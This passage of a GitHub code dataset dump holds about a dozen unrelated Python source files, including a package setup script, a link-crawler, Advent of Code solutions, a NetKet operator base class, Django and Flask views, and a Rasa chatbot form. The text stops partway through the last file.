+{"seq_id":"24972881599","text":"import re\nimport os\nfrom setuptools import setup, find_packages\n\n\ndef read_description(filename):\n with open(filename) as fp:\n text = fp.read()\n paras = text.split('\\n\\n')\n return paras[1], text\n\n\ndef read_file(filename):\n with open(filename, \"rt\") as filehandle:\n return filehandle.read()\n\n\ndef find_value(source, identifier):\n regex = r\"^%s\\s*=\\s*['\\\"]([^'\\\"]*)['\\\"]$\" % (identifier, )\n match = re.search(regex, source, re.M)\n if not match:\n raise RuntimeError('Can\\'t find \"%s\" in source:\\n%s' % (identifier,\n source))\n\n return match.group(1)\n\n\nNAME = \"form_monster\"\nVERSION = find_value(\n read_file(os.path.join(NAME, \"__init__.py\")), \"__version__\")\nINSTALL_REQUIRES = []\nDESCRIPTION = \"Declaratively create forms on the console, desktop, or web\"\nLONG_DESCRIPTION = read_file('README.md')\n\nif __name__ == \"__main__\":\n setup(\n name=NAME,\n version=VERSION,\n description=DESCRIPTION,\n long_description=LONG_DESCRIPTION,\n long_description_content_type=\"text/markdown\",\n author=\"Jared Rickert\",\n author_email=\"jaredrickert52@gmail.com\",\n license='MIT',\n setup_requires=[\"pytest-runner\"],\n python_requires=\">=3.4\",\n install_requires=[\"wxPython>=4\"],\n tests_require=[\"pytest\"],\n packages=find_packages(),\n url=\"https://github.com/jlrickert/form-monster\",\n # download_url=\"https://pypi.python.org/pypi/form_monster\",\n\n # see classifiers:\n # http://pypi.python.org/pypi?:action=list_classifiers\n classifiers=[\n \"Development Status :: 1 - Planning\",\n # \"Development Status :: 2 - Pre-Alpha\",\n # \"Development Status :: 3 - Alpha\",\n # \"Development Status :: 4 - Beta\",\n # \"Development Status :: 5 - Production/Stable\",\n # \"Development Status :: 6 - Mature\",\n # \"Development Status :: 7 - Inactive\",\n \"Environment :: Console\",\n \"Environment :: MacOS X\",\n \"Environment :: Win32 (MS Windows)\",\n \"Intended Audience :: Developers\",\n \"License :: OSI Approved :: MIT License\",\n \"Natural Language :: English\",\n \"Operating System :: Microsoft :: Windows\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Operating System :: POSIX :: Linux\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python :: 3\",\n \"Programming Language :: Python :: Implementation :: CPython\",\n ],\n zip_safe=True,\n )\n","repo_name":"jlrickert/form-monster","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"}
+{"seq_id":"12587852923","text":"class Waifu:\n\n def __init__(self, nombre,hair_color,alive, health):\n self.nombre = nombre \n self.hair_color = hair_color\n self.alive = alive\n self.health = health\n\n def get_damage(self, damage):\n self.health = self.health - damage\n if(self.health <= 0):\n self.alive = False\n print(self.nombre + \" ha moricido\")\n else:\n print(self.nombre + \" todavía puede pelear, vida restante: \"+ str(self.health))\n","repo_name":"felipers7/fastapi_test","sub_path":"folder/clase.py","file_name":"clase.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"44359171339","text":"import argparse\nimport requests\nfrom bs4 import BeautifulSoup\n\nparser = argparse.ArgumentParser(description='URL extraction tool')\nparser.add_argument('url', type=str, help='URL to extract')\nparser.add_argument('--depth', type=int, default=1, help='Recursion depth')\nargs = parser.parse_args()\n\n\ndef extract_urls(url, depth):\n if depth == 0:\n return []\n try:\n response = requests.get(url)\n soup = BeautifulSoup(response.content, 'html.parser')\n urls = [link.get('href') for link in soup.find_all('a')]\n urls = [u for u in urls if u is not None]\n urls = [u for u in urls if u.startswith(\n 'http') or u.startswith('https')]\n sub_urls = []\n for u in urls:\n sub_urls += extract_urls(u, depth - 1)\n return urls + sub_urls\n except:\n return []\n\n\nurls = extract_urls(args.url, args.depth)\n\nwith open(\"urls.txt\", \"a\") as f:\n for url in urls:\n print(url, file=f)\n print(url)\n","repo_name":"Mohamed-kamal1/Extraction-Tool","sub_path":"extract_urls.py","file_name":"extract_urls.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"31773046008","text":"import os\nimport sys\n\nfilename = os.path.normpath(os.path.join(os.path.dirname(__file__), \"input.txt\"))\ninputs = []\ntry:\n inputFile = open(filename)\nexcept FileNotFoundError:\n print(\"No file found at \" + filename)\n sys.exit(1)\ncounter = 0 \n\ndef isValid(line):\n parts = line.split(\":\")\n parts[0].strip()\n parts[1].strip()\n nums = parts[0].split(\"-\")\n letter = parts[0][-1]\n lower = int(nums[0].strip())\n upper = int(nums[1].split(\" \")[0].strip())\n number = 0\n \"\"\"print(line)\n print(lower)\n print(upper)\n print(parts[1])\n print(parts[1][lower])\n print(parts[1][upper])\"\"\"\n if(parts[1][lower] == letter):\n number += 1\n if(parts[1][upper] == letter):\n number+=1\n return number ==1 \n \n\nfor line in inputFile:\n if (isValid(line)):\n counter+=1\nprint(\"Number of valid ones = \" + str(counter))\n","repo_name":"Noah-C-S/AoC2020","sub_path":"day2/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"74559823432","text":"#-*- coding: utf-8 -*-\n\nimport os.path\nimport logging\n\nimport pyfsync\n\nfrom pyfsync.store import FSStore, BaseStore\n\nfrom pyfsync.db import setup_db\n\nclass FSync():\n \"\"\"\n \"\"\"\n\n #def __init__(self, *args, **kwargs):\n def __init__(self, options):\n \"\"\"\n \"\"\"\n self.logger = logging.getLogger('pyfsync')\n self.logger.info(options)\n\n #import pdb; pdb.set_trace()\n\n if not options[\"src\"][\"dir\"]:\n raise pyfsync.PyFSyncError('source directory path is not set. path=%s' % options[\"src\"][\"dir\"])\n\n if not options[\"dst\"][\"dir\"]:\n raise pyfsync.PyFSyncError('destination directory path is not set. path=%s' % options[\"dst\"][\"dir\"])\n\n if not os.path.isdir(options[\"src\"][\"dir\"]):\n raise pyfsync.PyFSyncError('source directory is not a directory. path=%s' % options[\"src\"][\"dir\"])\n\n if not os.path.isdir(options[\"dst\"][\"dir\"]):\n raise pyfsync.PyFSyncError('destination directory is not a directory. path=%s' % options[\"dst\"][\"dir\"])\n\n\n if isinstance(options[\"store\"][\"class\"], object) is False:\n raise pyfsync.PyFSyncError('Definition misses the store class. %s' % str(options[\"store\"][\"class\"]))\n\n if isinstance(options[\"store\"][\"db\"], object) is False:\n raise pyfsync.PyFSyncError('Definition misses the db class. %s' % str(options[\"store\"][\"db\"]))\n\n # manage\n\n self.manage = {\n \"options\": options,\n \"peer\": {},\n \"seed\": None,\n \"dbs\": None\n }\n\n # db\n self.manage[\"dbs\"] = setup_db(options)\n\n # store\n options = self.manage[\"options\"]\n\n # seed\n seed = options[\"store\"][\"class\"](options[\"src\"][\"dir\"], self.manage)\n self.manage[\"seed\"] = seed\n self.manage[\"peer\"][seed.hash] = seed\n\n # peer\n\n dst = options[\"store\"][\"class\"](options[\"dst\"][\"dir\"], self.manage)\n\n self.manage[\"peer\"][dst.hash] = dst;\n\n\n # update\n self.manage[\"seed\"].update()\n","repo_name":"fkei/pyfsync","sub_path":"pyfsync/fsync.py","file_name":"fsync.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"32684536186","text":"\n__author__=\"Rob van der Most\"\n__date__ =\"$Jun 6, 2011 7:14:58 PM$\"\n\n'''\nAssorted class utilities and tools\n\nCreated on May 5, 2011\n\n@author: Rob van der Most\n'''\n\nimport uuid\nfrom pprint import pformat\n\nclass AttrDisplay(object):\n \"\"\"\n Provides an inheritable print overload method that displays\n instances with their class names and a name=value pair for\n each attribute stored on the instance itself (but not attrs\n inherited from its classes). Can be mixed into any class,\n and will work on any instance.\n \"\"\"\n def __str__(self):\n return '%s: \\n %s' % (self.__class__.__name__, pformat(vars(self)))\n\nclass QuartjesBaseClass(AttrDisplay):\n \"\"\"\n Base class for all objects in quartjes that are serialized. Deriving from\n this class does not automatically make your objects serializable, but at\n least a unique id is present.\n \"\"\"\n\n def __init__(self, id_=None):\n \"\"\"\n Default constructor. Accepts an id to store. If no id is given, a new\n unique id is created.\n \"\"\"\n if id_ == None:\n self.id = uuid.uuid4()\n else:\n self.id = id_\n\n def __hash__(self):\n return hash(self.id)\n\n def __eq__(self, other):\n if not other:\n return False\n return vars(self) == vars(other)\n\n def __ne__(self, other):\n if not other:\n return True\n return vars(self) != vars(other)\n\ndef trace(method):\n def on_call(*args, **kwargs):\n mylevel = trace.level\n trace.level = trace.level + 1\n print(\"%sMethod %s called with args=%s and kwargs=%s\" % (\".\" * mylevel, method.__name__, args, kwargs))\n result = method(*args, **kwargs)\n print(\"%sMethod %s returned: %s\" % (\".\" * mylevel, method.__name__, result))\n trace.level = trace.level - 1\n return result\n return on_call\ntrace.level = 0\n\nfrom functools import wraps\n\ndef cached_class(klass):\n \"\"\"Decorator to cache class instances by constructor arguments.\n \n We \"tuple-ize\" the keyword arguments dictionary since\n dicts are mutable; keywords themselves are strings and\n so are always hashable, but if any arguments (keyword\n or positional) are non-hashable, that set of arguments\n is not cached.\n \"\"\"\n cache = {}\n \n @wraps(klass, assigned=('__name__', '__module__'), updated=())\n class _decorated(klass):\n # The wraps decorator can't do this because __doc__\n # isn't writable once the class is created\n __doc__ = klass.__doc__\n def __new__(cls, *args, **kwds):\n key = (cls,) + args + tuple(kwds.iteritems())\n try:\n inst = cache.get(key, None)\n except TypeError:\n # Can't cache this set of arguments\n inst = key = None\n if inst is None:\n # Technically this is cheating, but it works,\n # and takes care of initializing the instance\n # (so we can override __init__ below safely);\n # calling up to klass.__new__ would be the\n # \"official\" way to create the instance, but\n # that raises DeprecationWarning if there are\n # args or kwds and klass does not override\n # __new__ (which most classes don't), because\n # object.__new__ takes no parameters (and in\n # Python 3 the warning will become an error)\n inst = klass(*args, **kwds)\n # This makes isinstance and issubclass work\n # properly\n inst.__class__ = cls\n if key is not None:\n cache[key] = inst\n return inst\n def __init__(self, *args, **kwds):\n # This will be called every time __new__ is\n # called, so we skip initializing here and do\n # it only when the instance is created above\n pass\n \n return _decorated\n","repo_name":"silvester747/quartjes","sub_path":"src/quartjes/util/classtools.py","file_name":"classtools.py","file_ext":"py","file_size_in_byte":3976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"3575737019","text":"import abc\nfrom typing import Tuple\n\nimport numpy as np\nimport jax.numpy as jnp\nfrom netket.utils.types import DType\n\nfrom scipy.sparse import csr_matrix as _csr_matrix\nfrom numba import jit\n\nfrom netket.hilbert import AbstractHilbert\n\n\n@jit(nopython=True)\ndef compute_row_indices(rows, sections):\n ntot = sections[-1]\n res = np.empty(ntot, dtype=np.intp)\n\n for i in range(1, sections.size):\n res[sections[i - 1] : sections[i]] = rows[i - 1]\n\n return res\n\n\nclass AbstractOperator(abc.ABC):\n \"\"\"Abstract class for quantum Operators. This class prototypes the methods\n needed by a class satisfying the Operator concept. Users interested in\n implementing new quantum Operators should derive they own class from this\n class\n \"\"\"\n\n _hilbert: AbstractHilbert\n r\"\"\"The hilbert space associated to this operator.\"\"\"\n\n def __init__(self, hilbert: AbstractHilbert):\n self._hilbert = hilbert\n\n @property\n def hilbert(self) -> AbstractHilbert:\n r\"\"\"The hilbert space associated to this operator.\"\"\"\n return self._hilbert\n\n @property\n def size(self) -> int:\n r\"\"\"The total number number of local degrees of freedom.\"\"\"\n return self._hilbert.size\n\n @property\n def is_hermitian(self) -> bool:\n \"\"\"Returns true if this operator is hermitian.\"\"\"\n return False\n\n @property\n def H(self) -> \"AbstractOperator\":\n \"\"\"Returns the Conjugate-Transposed operator\"\"\"\n if self.is_hermitian:\n return self\n\n from ._lazy import Adjoint\n\n return Adjoint(self)\n\n @property\n def T(self) -> \"AbstractOperator\":\n \"\"\"Returns the transposed operator\"\"\"\n return self.transpose()\n\n @property\n @abc.abstractmethod\n def dtype(self) -> DType:\n \"\"\"The dtype of the operator's matrix elements ⟨σ|Ô|σ'⟩.\"\"\"\n raise NotImplementedError\n\n def collect(self) -> \"AbstractOperator\":\n \"\"\"\n Returns a guranteed concrete instancce of an operator.\n\n As some operations on operators return lazy wrapperes (such as transpose,\n hermitian conjugate...), this is used to obtain a guaranteed non-lazy\n operator.\n \"\"\"\n return self\n\n def transpose(self, *, concrete=False) -> \"AbstractOperator\":\n \"\"\"Returns the transpose of this operator.\n\n Args:\n concrete: if True returns a concrete operator and not a lazy wrapper\n\n Returns:\n if concrete is not True, self or a lazy wrapper; the\n transposed operator otherwise\n \"\"\"\n if not concrete:\n from ._lazy import Transpose\n\n return Transpose(self)\n else:\n raise NotImplementedError\n\n def conjugate(self, *, concrete=False) -> \"AbstractOperator\":\n \"\"\"Returns the complex-conjugate of this operator.\n\n Args:\n concrete: if True returns a concrete operator and not a lazy wrapper\n\n Returns:\n if concrete is not True, self or a lazy wrapper; the\n complex-conjugated operator otherwise\n \"\"\"\n raise NotImplementedError\n\n @property\n def max_conn_size(self) -> int:\n \"\"\"The maximum number of non zero ⟨x|O|x'⟩ for every x.\"\"\"\n raise NotImplementedError\n\n def get_conn_padded(self, x: np.ndarray) -> Tuple[np.ndarray, np.ndarray]:\n r\"\"\"Finds the connected elements of the Operator.\n Starting from a batch of quantum numbers x={x_1, ... x_n} of size B x M\n where B size of the batch and M size of the hilbert space, finds all states\n y_i^1, ..., y_i^K connected to every x_i.\n Returns a matrix of size B x Kmax x M where Kmax is the maximum number of\n connections for every y_i.\n\n Args:\n x : A N-tensor of shape (...,hilbert.size) containing\n the batch/batches of quantum numbers x.\n\n Returns:\n x_primes: The connected states x', in a N+1-tensor.\n mels: A N-tensor containing the matrix elements :math:`O(x,x')`\n associated to each x' for every batch.\n \"\"\"\n n_visible = x.shape[-1]\n n_samples = x.size // n_visible\n\n sections = np.empty(n_samples, dtype=np.int32)\n x_primes, mels = self.get_conn_flattened(\n x.reshape(-1, x.shape[-1]), sections, pad=True\n )\n\n n_primes = sections[0]\n\n x_primes_r = x_primes.reshape(*x.shape[:-1], n_primes, n_visible)\n mels_r = mels.reshape(*x.shape[:-1], n_primes)\n\n return x_primes_r, mels_r\n\n @abc.abstractmethod\n def get_conn_flattened(\n self, x: np.ndarray, sections: np.ndarray\n ) -> Tuple[np.ndarray, np.ndarray]:\n r\"\"\"Finds the connected elements of the Operator. Starting\n from a given quantum number x, it finds all other quantum numbers x' such\n that the matrix element :math:`O(x,x')` is different from zero. In general there\n will be several different connected states x' satisfying this\n condition, and they are denoted here :math:`x'(k)`, for :math:`k=0,1...N_{\\mathrm{connected}}`.\n\n This is a batched version, where x is a matrix of shape (batch_size,hilbert.size).\n\n Args:\n x (matrix): A matrix of shape (batch_size,hilbert.size) containing\n the batch of quantum numbers x.\n sections (array): An array of sections for the flattened x'.\n See numpy.split for the meaning of sections.\n\n Returns:\n matrix: The connected states x', flattened together in a single matrix.\n array: An array containing the matrix elements :math:`O(x,x')` associated to each x'.\n\n \"\"\"\n raise NotImplementedError()\n\n def get_conn(self, x):\n r\"\"\"Finds the connected elements of the Operator. Starting\n from a given quantum number x, it finds all other quantum numbers x' such\n that the matrix element :math:`O(x,x')` is different from zero. In general there\n will be several different connected states x' satisfying this\n condition, and they are denoted here :math:`x'(k)`, for :math:`k=0,1...N_{\\mathrm{connected}}`.\n\n Args:\n x (array): An array of shape (hilbert.size) containing the quantum numbers x.\n\n Returns:\n matrix: The connected states x' of shape (N_connected,hilbert.size)\n array: An array containing the matrix elements :math:`O(x,x')` associated to each x'.\n\n \"\"\"\n\n return self.get_conn_flattened(\n x.reshape((1, -1)),\n np.ones(1),\n )\n\n def n_conn(self, x, out=None) -> np.ndarray:\n r\"\"\"Return the number of states connected to x.\n\n Args:\n x (matrix): A matrix of shape (batch_size,hilbert.size) containing\n the batch of quantum numbers x.\n out (array): If None an output array is allocated.\n\n Returns:\n array: The number of connected states x' for each x[i].\n\n \"\"\"\n if out is None:\n out = np.empty(x.shape[0], dtype=np.intc)\n self.get_conn_flattened(x, out)\n out = self._n_conn_from_sections(out)\n\n return out\n\n @staticmethod\n @jit(nopython=True)\n def _n_conn_from_sections(out):\n low = 0\n for i in range(out.shape[0]):\n old_out = out[i]\n out[i] = out[i] - low\n low = old_out\n\n return out\n\n def to_sparse(self) -> _csr_matrix:\n r\"\"\"Returns the sparse matrix representation of the operator. Note that,\n in general, the size of the matrix is exponential in the number of quantum\n numbers, and this operation should thus only be performed for\n low-dimensional Hilbert spaces or sufficiently sparse operators.\n\n This method requires an indexable Hilbert space.\n\n Returns:\n The sparse matrix representation of the operator.\n \"\"\"\n concrete_op = self.collect()\n hilb = self.hilbert\n\n x = hilb.all_states()\n\n sections = np.empty(x.shape[0], dtype=np.int32)\n x_prime, mels = concrete_op.get_conn_flattened(x, sections)\n\n numbers = hilb.states_to_numbers(x_prime)\n\n sections1 = np.empty(sections.size + 1, dtype=np.int32)\n sections1[1:] = sections\n sections1[0] = 0\n\n ## eliminate duplicates from numbers\n # rows_indices = compute_row_indices(hilb.states_to_numbers(x), sections1)\n\n return _csr_matrix(\n (mels, numbers, sections1),\n shape=(self.hilbert.n_states, self.hilbert.n_states),\n )\n\n # return _csr_matrix(\n # (mels, (rows_indices, numbers)),\n # shape=(self.hilbert.n_states, self.hilbert.n_states),\n # )\n\n def to_dense(self) -> np.ndarray:\n r\"\"\"Returns the dense matrix representation of the operator. Note that,\n in general, the size of the matrix is exponential in the number of quantum\n numbers, and this operation should thus only be performed for\n low-dimensional Hilbert spaces or sufficiently sparse operators.\n\n This method requires an indexable Hilbert space.\n\n Returns:\n The dense matrix representation of the operator as a Numpy array.\n \"\"\"\n return self.to_sparse().todense().A\n\n def apply(self, v: np.ndarray) -> np.ndarray:\n op = self.to_linear_operator()\n return op.dot(v)\n\n def __call__(self, v: np.ndarray) -> np.ndarray:\n return self.apply(v)\n\n def conj(self, *, concrete=False) -> \"AbstractOperator\":\n return self.conjugate(concrete=False)\n\n def to_linear_operator(self):\n return self.to_sparse()\n\n def _get_conn_flattened_closure(self):\n raise NotImplementedError(\n \"\"\"\n _get_conn_flattened_closure not implemented for this operator type.\n You were probably trying to use an operator with a sampler.\n Please report this bug.\n\n numba4jax won't work.\n \"\"\"\n )\n\n def __repr__(self):\n return f\"{type(self).__name__}(hilbert={self.hilbert})\"\n\n def __matmul__(self, other):\n if isinstance(other, np.ndarray) or isinstance(other, jnp.ndarray):\n return self.apply(other)\n elif isinstance(other, AbstractOperator):\n if self == other and self.is_hermitian:\n from ._lazy import Squared\n\n return Squared(self)\n else:\n return self._op__matmul__(other)\n else:\n return NotImplemented\n\n def _op__matmul__(self, other):\n \"Implementation on subclasses of __matmul__\"\n return NotImplemented\n\n def __rmatmul__(self, other):\n if isinstance(other, np.ndarray) or isinstance(other, jnp.ndarray):\n # return self.apply(other)\n return NotImplemented\n elif isinstance(other, AbstractOperator):\n if self == other and self.is_hermitian:\n from ._lazy import Squared\n\n return Squared(self)\n else:\n return self._op__rmatmul__(other)\n else:\n return NotImplemented\n\n def _op__rmatmul__(self, other):\n \"Implementation on subclasses of __matmul__\"\n return NotImplemented\n","repo_name":"sabernn/netket","sub_path":"netket/operator/_abstract_operator.py","file_name":"_abstract_operator.py","file_ext":"py","file_size_in_byte":11317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"}
+{"seq_id":"35947613787","text":"from collections import deque\r\n\r\nclass DataStream:\r\n def __init__(self, value, k):\r\n self.stream = deque()\r\n self.value = value\r\n self.k = k\r\n\r\n def consec(self, num):\r\n self.stream.append(num)\r\n if len(self.stream) > self.k:\r\n self.stream.popleft()\r\n\r\n return len(self.stream) == self.k and all(x == self.value for x in self.stream)\r\n\r\n# Example\r\nds = DataStream(2, 3)\r\nprint(ds.consec(1)) # Output: False\r\nprint(ds.consec(2)) # Output: False\r\nprint(ds.consec(2)) # Output: True\r\nprint(ds.consec(2)) # Output: True\r\nprint(ds.consec(1)) # Output: False\r\n","repo_name":"ali008DS/DSA-ASSIGNMENT-15","sub_path":"ASSIGNM 15.py","file_name":"ASSIGNM 15.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"73682054472","text":"import collections\n\ntwice = []\nthrice = []\nwith open('input') as f:\n for line in f:\n line = line.rstrip()\n d = collections.defaultdict(int)\n for c in line:\n d[c] += 1\n for char,count in d.iteritems():\n if count == 2 and line not in twice:\n twice.append(line)\n if count == 3 and line not in thrice:\n thrice.append(line)\n\n\n print(len(twice) * len(thrice))\n","repo_name":"ajdranse/adventOfCode","sub_path":"2018/2.1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"}
+{"seq_id":"25960009708","text":"#사용자정의\nfrom django.contrib.auth.models import User\n#장고의 사용자 모듈\n\n\n# 장고의 view를 html문법으로 바꾸기 위한 렌더링모듈 과 new_topic view가 home으로 돌아가기 위한 redirect모듈\nfrom django.shortcuts import render, redirect\n\n\nfrom .models import Topic, Reply\n# 모델의 클래스명\n\nfrom django.http import HttpResponse\n\nfrom .forms import SummerForm\nfrom django.contrib.auth.models import User\n\n\n#form.py를 불러옴\n#from .forms import RichForm\n\n\n# 추가하기\ndef home(request):\n \n topics = Topic.objects.all() #models의 Topic 개체 생성\n return render(request,'home.html')\n \ndef new_topic(request):\n form = SummerForm()\n topics = Topic.objects.all() \n if request.method =='POST':\n subject = request.POST['subject']\n user = User.objects.first()\n\n topic = Topic.objects.create(\n subject=subject, \n user=user,\n )\n\n post = Reply.objects.create(\n # message=message, 삭제\n created_by=user\n\n )\n\n return redirect('home')\n \n \n \n return render(request,'new_topic.html',{'form': SummerForm()})\n\n\n\n","repo_name":"superhyuk/board_django","sub_path":"makeBoard/boards1/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"38393851450","text":"\"\"\"\nGiven a non-empty string containing an out-of-order English\nrepresentation of digits 0-9, output the digits in ascending order.\n\nNote:\nInput contains only lowercase English letters.\nInput is guaranteed to be valid and can be transformed to its\noriginal digits. That means invalid inputs such as \"abc\" or\n\"zerone\" are not permitted.\nInput length is less than 50,000.\n\nExample 1:\nInput: \"owoztneoer\"\nOutput: \"012\"\n\nExample 2:\nInput: \"fviefuro\"\nOutput: \"45\"\n\"\"\"\nimport collections\n\n\nclass Solution:\n digit_to_word = {\n 0: \"zero\",\n 1: \"one\",\n 2: \"two\",\n 3: \"three\",\n 4: \"four\",\n 5: \"five\",\n 6: \"six\",\n 7: \"seven\",\n 8: \"eight\",\n 9: \"nine\"\n }\n\n def originalDigits(self, s: str) -> str:\n \"\"\"\n Runtime complexity: O(n) # each letter is assessed once, processed at most once\n Space complexity: O(1) # self.counter stores 10 keys, all dictionaries are of fixed sizes\n \"\"\"\n self.counter = collections.Counter(s)\n count_digits = [0, ] * 10 # count_digits[i] = total number of digit i in s\n # the following digits have unique letters in their spelling\n unique1 = {\n 0: \"z\",\n 2: \"w\",\n 4: \"u\",\n 6: \"x\",\n 8: \"g\"\n }\n for dig, unique_letter in unique1.items():\n count_digits[dig] = self.counter[unique_letter]\n self.clearDigit(dig, self.counter[unique_letter])\n\n # now, we are left with 1,3,5,7,9 only\n unique2 = {\n 3: \"t\",\n 5: \"f\",\n 7: \"s\",\n }\n for dig, unique_letter in unique2.items():\n count_digits[dig] = self.counter[unique_letter]\n self.clearDigit(dig, self.counter[unique_letter])\n\n # now, we are left with 1 and 9 only\n count_digits[1] = self.counter[\"o\"]\n count_digits[9] = self.counter[\"i\"]\n # print(self.counter)\n # print(count_digits)\n all_letters = [dig for dig in range(10) for _ in range(count_digits[dig])]\n return ''.join(map(str, all_letters))\n\n def clearDigit(self, dig: int, quantity: int) -> None:\n for char in self.digit_to_word[dig]:\n self.counter[char] -= quantity\n\n\nif __name__ == \"__main__\":\n import run_tests\n\n correct_answers = [\n [\"owoztneoer\", \"012\"],\n [\"fviefuro\", \"45\"],\n [\"sevenonefive\", \"157\"],\n [\"nien\", \"9\"]\n ]\n print(\"Running tests for originalDigits\")\n run_tests.run_tests(Solution().originalDigits, correct_answers)","repo_name":"kate-melnykova/LeetCode-solutions","sub_path":"LC423-Reconstruct-Original-Digits-from-English.py","file_name":"LC423-Reconstruct-Original-Digits-from-English.py","file_ext":"py","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"27"}
+{"seq_id":"14557126610","text":"from __future__ import annotations\n\nimport json\n\nfrom CNB_application.auth import authenticated\nfrom CNB_application.exceptions import FamilyNotFound\nfrom CNB_application.managers.address import address\nfrom CNB_application.managers.membership import family\nfrom flask import request\nfrom flask_restful import Resource\nfrom peewee import DoesNotExist\nfrom playhouse.shortcuts import model_to_dict\n\n\nclass FamilySearch(Resource):\n @authenticated\n def get(self):\n first_name = request.args.get('first_name')\n last_name = request.args.get('last_name')\n response = family.get_family(\n first_name=first_name, last_name=last_name)\n return {'msg': f'Family found {last_name}', 'family': model_to_dict(response)}\n\n\nclass Family(Resource):\n @authenticated\n def get(self, family_id):\n response = family.get_family_via_id(family_id=family_id)\n return {'family': model_to_dict(response), 'status': 200}\n\n @authenticated\n def post(self):\n query = json.loads(request.data.decode('utf-8'))\n family_object = family.create_family(\n first_name=query.get('first_name'),\n last_name=query.get('last_name'),\n email=query.get('email'),\n phone_number=query.get('phone_number'),\n benefactor_member=query.get('benefactor_member'),\n parking=query.get('parking'),\n )\n address.create_address(\n family=family_object,\n address=query.get('address'),\n city=query.get('city'),\n zip_code=query.get('zip_code'),\n country=query.get('country'),\n )\n return {'msg': 'Family created', 'status': 200}\n\n @authenticated\n def patch(self, family_id):\n field = request.args['field']\n info = request.json['value']\n response = family.update_field_info(family_id, field, info)\n\n return {\n 'msg': 'success',\n 'family': model_to_dict(response),\n }\n\n @authenticated\n def put(self):\n family_id = request.args.get('family_id')\n family.update_family(\n family_id=family_id,\n first_name=request.args.get('first_name'),\n last_name=request.args.get('last_name'),\n email=request.args.get('email'),\n phone_number=request.args.get('phone_number'),\n benefactor_member=request.args.get('benefactor_member'),\n parking=request.args.get('parking'),\n )\n address.update_address(\n family_id=family_id,\n address=request.args.get('address'),\n city=request.args.get('city'),\n zip_code=request.args.get('zip_code'),\n country=request.args.get('country'),\n )\n return {'msg': 'success', 'family': family}\n\n @authenticated\n def delete(self):\n try:\n family_id = request.args.get('family_id')\n family_object = family.get_family_via_id(family_id=family_id)\n family_object.delete_instance(recursive=True)\n return True\n except DoesNotExist:\n raise FamilyNotFound\n","repo_name":"SpenderJ/CNB-Application","sub_path":"back/CNB_application/api/membership/family.py","file_name":"family.py","file_ext":"py","file_size_in_byte":3131,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"}
+{"seq_id":"20899296664","text":"import os\nimport random\nfrom typing import Any, Dict, List, Optional, Text, Union\n\nimport structlog\nfrom aiohttp import ClientSession\nfrom rasa_sdk import Tracker\nfrom rasa_sdk.events import ActionExecuted, EventType, Form, SlotSet, UserUttered\nfrom rasa_sdk.executor import CollectingDispatcher\nfrom rasa_sdk.forms import REQUESTED_SLOT, FormAction\n\nfrom covidflow.constants import LANGUAGE_SLOT, QA_TEST_PROFILE_ATTRIBUTE\n\nfrom .answers import (\n QuestionAnsweringProtocol,\n QuestionAnsweringResponse,\n QuestionAnsweringStatus,\n)\nfrom .form_helper import request_next_slot, yes_no_nlu_mapping\nfrom .lib.log_util import bind_logger\n\nlogger = structlog.get_logger()\n\nFAQ_URL_ENV_KEY = \"COVID_FAQ_SERVICE_URL\"\nDEFAULT_FAQ_URL = \"https://covidfaq.dialoguecorp.com\"\n\nQUESTION_SLOT = \"active_question\"\nFEEDBACK_SLOT = \"feedback\"\nSTATUS_SLOT = \"question_answering_status\"\nANSWERS_SLOT = \"answers\"\nASKED_QUESTION_SLOT = \"asked_question\"\nSKIP_QA_INTRO_SLOT = \"skip_qa_intro\"\n\nANSWERS_KEY = \"answers\"\nSTATUS_KEY = \"status\"\nFEEDBACK_KEY = \"feedback\"\nQUESTION_KEY = \"question\"\n\nFEEDBACK_NOT_GIVEN = \"not_given\"\n\nFORM_NAME = \"question_answering_form\"\n\nTEST_PROFILES_RESPONSE = {\n \"success\": QuestionAnsweringResponse(\n answers=[\"this is my answer\"], status=QuestionAnsweringStatus.SUCCESS\n ),\n \"failure\": QuestionAnsweringResponse(status=QuestionAnsweringStatus.FAILURE),\n \"need_assessment\": QuestionAnsweringResponse(\n status=QuestionAnsweringStatus.NEED_ASSESSMENT\n ),\n \"out_of_distribution\": QuestionAnsweringResponse(\n status=QuestionAnsweringStatus.OUT_OF_DISTRIBUTION\n ),\n}\n\n\nclass QuestionAnsweringForm(FormAction):\n def name(self) -> Text:\n\n return FORM_NAME\n\n async def run(\n self, dispatcher, tracker, domain,\n ):\n bind_logger(tracker)\n return await super().run(dispatcher, tracker, domain)\n\n ## override to play initial messages or prefill slots\n async def _activate_if_required(\n self,\n dispatcher: CollectingDispatcher,\n tracker: Tracker,\n domain: Dict[Text, Any],\n ) -> List[EventType]:\n if tracker.active_form.get(\"name\") == FORM_NAME:\n return await super()._activate_if_required(dispatcher, tracker, domain)\n\n intent = _get_intent(tracker)\n\n # Fallback QA\n if intent == \"fallback\":\n question = tracker.latest_message.get(\"text\", \"\")\n\n result = await self.validate_active_question(\n question, dispatcher, tracker, domain\n 